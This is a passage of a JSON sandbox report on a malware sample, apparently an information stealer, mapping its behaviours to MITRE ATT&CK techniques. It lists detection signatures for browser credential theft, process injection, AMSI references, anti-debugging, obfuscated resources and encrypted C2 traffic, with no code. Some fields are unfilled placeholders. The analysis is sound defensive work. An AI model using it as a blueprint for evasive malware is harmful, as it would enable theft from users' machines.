Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"suspicious","value":"Contains ability to measure performance"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"May execute SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"suspicious","value":"YARA signature match - Crypto Library"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops files with image extension"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"},{"type":"informative","value":"Found Base64 encoding crypto library string in memory"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00005060)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00005060)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00005060)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00005060)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '160497665', 'hResInfo': '160498912'}\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '160497665', 'hResInfo': '160498944'}\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '160497665', 'hResInfo': '160498960'}\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '160497665', 'hResInfo': '160498928'}\" (UID: 00000000-00005060)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAlloc\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibraryWhenCallbackReturns\" (Indicator: \"FreeLibrary\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"toolspub2.exe.1363130796\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00000100.00000000.70938.00C30000.00000004.mdmp\n Observed string: \"amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00000100.00000000.70938.00DF0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file resource with suspicious entropy","description":"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin has big resource with name: \"aafg31\" size: \"406528\" and abnormal entropy:\"6.99363364114\"\n e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin has big resource with name: \"latestplayer\" size: \"314368\" and abnormal entropy:\"7.28488976207\"\n e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin has big resource with name: \"toolspub2\" size: \"277504\" and abnormal entropy:\"6.99929546539\"\n e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin has big resource with name: \"31839b57a4f11171d6abc8bbc4451ee4\" size: \"4366192\" and abnormal entropy:\"7.98674403191\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 decoding crypto library string in memory","description":"Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00001296.00000001.71334.04AF0000.00000004.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00001296.00000001.71334.05600000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00001296.00000001.71334.05780000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00001296.00000002.73251.04AF0000.00000004.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00001296.00000002.73251.05600000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00001296.00000002.73251.05780000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1140","relevance":2,"id":"memorydump-12","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 encoding crypto library string in memory","description":"Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00001296.00000001.71334.04AF0000.00000004.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00001296.00000001.71334.05600000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00001296.00000001.71334.05780000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00001296.00000002.73251.04AF0000.00000004.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00001296.00000002.73251.05600000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00001296.00000002.73251.05780000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1132.001","relevance":2,"id":"memorydump-11","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"$25","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 999-2238-0041798F\n SetUnhandledExceptionFilter@KERNEL32.dll at 5302-1496-0040E18A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"\"powershell.exe\" called \"CryptStringToBinaryA\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"CryptStringToBinaryW\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"CryptStringToBinaryA\" (UID: 00000000-00000100)\n \"powershell.exe\" called \"CryptStringToBinaryW\" (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$26","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00000100.00000000.70938.07210000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$27","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.931196076288796","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found Base64 decoding crypto library string in memory\n Matched sigs: Found Base64 encoding crypto library string in memory\n Matched sigs: YARA signature match - AES Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$28","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Detected Suricata Alert - CnC Activity\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Found potential URLs in memory dumps","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\".exe\" called \"GetForegroundWindow\" (UID: 00000000-00007196)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\".exe\" called \"IsWow64Process\" with parameter \"7196\" - (UID: 00000000-00007196)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"5060\" - (UID: 00000000-00005060)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"100\" - (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" (UID: 00000000-00005060)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007196)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2a","origin":"API 